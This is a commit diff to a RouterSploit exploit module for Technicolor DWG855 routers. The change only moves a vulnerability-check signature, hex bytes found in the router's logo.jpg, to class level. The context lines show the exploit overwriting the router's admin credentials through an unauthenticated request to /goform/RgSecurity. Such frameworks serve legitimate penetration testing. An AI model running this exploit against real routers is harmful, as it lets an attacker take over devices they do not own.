Update dwg855_authbypass.py

routersploit/modules/exploits/technicolor/dwg855_authbypass.py

@@ -35,6 +35,9 @@ class Exploit(exploits.Exploit):
     nuser = exploits.Option('ruser', 'Overwrite old user with.. ')
     npass = exploits.Option('rpass', 'Overwrite old password with.. ')
 
+    # The check consists in trying to access router resources with incorrect creds. in this case logo.jpg Try it yourself!
+    vulnresp = binascii.unhexlify('114475636b7900')  # Hex data of 0x11 + "Ducky" + 0x00 found on image "logo.jpg"
+    
     def run(self):
         print_status("Changing " + self.target + " credentials to " + self.nuser + ":" + self.npass)
         url = sanitize_url("{}:{}/goform/RgSecurity".format(self.target, self.port))
@@ -54,9 +57,6 @@ class Exploit(exploits.Exploit):
 
     def check(self):
 
-        # The check consists in trying to access router resources with incorrect creds. in this case logo.jpg Try it yourself!
-        vulnresp = binascii.unhexlify('114475636b7900')  # Hex data of 0x11 + "Ducky" + 0x00 found on image "logo.jpg"
-
         url = sanitize_url("{}:{}/logo.jpg".format(self.target, self.port))
         user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
         headers = {'User-Agent': user_agent,